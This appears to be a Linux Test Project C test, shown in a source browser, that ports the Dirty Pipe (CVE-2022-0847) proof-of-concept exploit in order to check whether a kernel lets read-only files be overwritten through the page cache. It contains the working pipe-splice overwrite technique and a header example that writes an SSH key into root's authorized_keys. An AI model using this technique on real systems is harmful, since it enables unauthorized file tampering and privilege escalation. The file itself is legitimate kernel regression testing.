• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1 // SPDX-License-Identifier: GPL-2.0
2 /*
3  * Copyright 2022 CM4all GmbH / IONOS SE
4  *
5  * Author: Max Kellermann <max.kellermann@ionos.com>
6  *
7  * Ported into LTP by Yang Xu <xuyang2018.jy@fujitsu.com>
8  */
9 
10 /*\
11  * [Description]
12  *
13  * Proof-of-concept exploit for the Dirty Pipe
14  * vulnerability (CVE-2022-0847) caused by an uninitialized
15  * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
16  * file contents in the page cache, even if the file is not permitted
17  * to be written, immutable or on a read-only mount.
18  *
19  * This exploit requires Linux 5.8 or later; the code path was made
20  * reachable by commit f6dd975583bd ("pipe: merge
21  * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
22  * there before, it just provided an easy way to exploit it.
23  *
24  * There are two major limitations of this exploit: the offset cannot
25  * be on a page boundary (it needs to write one byte before the offset
26  * to add a reference to this page to the pipe), and the write cannot
27  * cross a page boundary.
28  *
29  * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
30  *
31  * Further explanation: https://dirtypipe.cm4all.com/
32  */
33 
34 #ifndef _GNU_SOURCE
35 #define _GNU_SOURCE
36 #endif
37 #include <unistd.h>
38 #include <fcntl.h>
39 #include <stdio.h>
40 #include <stdlib.h>
41 #include <string.h>
42 #include <sys/stat.h>
43 #include <sys/user.h>
44 #include "tst_test.h"
45 
46 #define TEXT "AAAAAAAABBBBBBBB"
47 #define TESTFILE "testfile"
48 #define CHUNK 64
49 #define BUFSIZE 4096
50 
51 static int p[2] = {-1, -1}, fd = -1;
52 static char *pattern_buf, *read_buf;
53 
check_file_contents(void)54 static void check_file_contents(void)
55 {
56 	SAFE_LSEEK(fd, 0, SEEK_SET);
57 	SAFE_READ(1, fd, read_buf, 4096);
58 
59 	if (memcmp(pattern_buf, read_buf, 4096) != 0)
60 		tst_res(TFAIL, "read buf data mismatch, bug exists");
61 	else
62 		tst_res(TPASS, "read buff data match, bug doesn't exist");
63 }
64 
65 /*
66  * Create a pipe where all "bufs" on the pipe_inode_info ring have the
67  * PIPE_BUF_FLAG_CAN_MERGE flag set.
68  */
prepare_pipe(void)69 static void prepare_pipe(void)
70 {
71 	unsigned int pipe_size, total, n, len;
72 	char buffer[BUFSIZE];
73 
74 	SAFE_PIPE(p);
75 	pipe_size = SAFE_FCNTL(p[1], F_GETPIPE_SZ);
76 
77 	/*
78 	 * fill the pipe completely; each pipe_buffer will now have the
79 	 * PIPE_BUF_FLAG_CAN_MERGE flag
80 	 */
81 	for (total = pipe_size; total > 0;) {
82 		n = total > sizeof(buffer) ? sizeof(buffer) : total;
83 		len = SAFE_WRITE(SAFE_WRITE_ALL, p[1], buffer, n);
84 		total -= len;
85 	}
86 
87 	/*
88 	 * drain the pipe, freeing all pipe_buffer instances (but leaving the
89 	 * flags initialized)
90 	 */
91 	for (total = pipe_size; total > 0;) {
92 		n = total > sizeof(buffer) ? sizeof(buffer) : total;
93 		len = SAFE_READ(1, p[0], buffer, n);
94 		total -= len;
95 	}
96 
97 	/*
98 	 * the pipe is now empty, and if somebody adds a new pipe_buffer
99 	 * without initializing its "flags", the buffer wiill be mergeable
100 	 */
101 }
102 
run(void)103 static void run(void)
104 {
105 	int data_size, len;
106 	ssize_t nbytes;
107 
108 	data_size = strlen(TEXT);
109 
110 	fd = SAFE_OPEN(TESTFILE, O_RDONLY);
111 
112 	prepare_pipe();
113 
114 	/*
115 	 * splice one byte from the start into the pipe;
116 	 * this will add a reference to the page cache, but since
117 	 * copy_page_to_iter_pipe() does not initialize the "flags",
118 	 * PIPE_BUF_FLAG_CAN_MERGE is still set
119 	 */
120 	nbytes = splice(fd, NULL, p[1], NULL, 1, 0);
121 	if (nbytes < 0)
122 		tst_brk(TFAIL, "splice failed");
123 	if (nbytes == 0)
124 		tst_brk(TFAIL, "short splice");
125 
126 	/*
127 	 * the following write will not create a new pipe_buffer, but
128 	 * will instead write into the page cache, because of the
129 	 * PIPE_BUF_FLAG_CAN_MERGE flag
130 	 */
131 	len = SAFE_WRITE(SAFE_WRITE_ALL, p[1], TEXT, data_size);
132 	if (len < nbytes)
133 		tst_brk(TFAIL, "short write");
134 
135 	check_file_contents();
136 	SAFE_CLOSE(p[0]);
137 	SAFE_CLOSE(p[1]);
138 	SAFE_CLOSE(fd);
139 }
140 
setup(void)141 static void setup(void)
142 {
143 	memset(pattern_buf, 0xff, BUFSIZE);
144 	tst_fill_file(TESTFILE, 0xff, CHUNK, BUFSIZE / CHUNK);
145 }
146 
cleanup(void)147 static void cleanup(void)
148 {
149 	if (p[0] > -1)
150 		SAFE_CLOSE(p[0]);
151 	if (p[1] > -1)
152 		SAFE_CLOSE(p[1]);
153 	if (fd > -1)
154 		SAFE_CLOSE(fd);
155 }
156 
157 static struct tst_test test = {
158 	.setup = setup,
159 	.cleanup = cleanup,
160 	.test_all = run,
161 	.needs_tmpdir = 1,
162 	.bufs = (struct tst_buffers []) {
163 		{&pattern_buf, .size = 4096},
164 		{&read_buf, .size = 4096},
165 		{},
166 	},
167 	.tags = (const struct tst_tag[]) {
168 		{"linux-git", "9d2231c5d74e"},
169 		{"CVE", "CVE-2022-0847"},
170 		{},
171 	}
172 };
173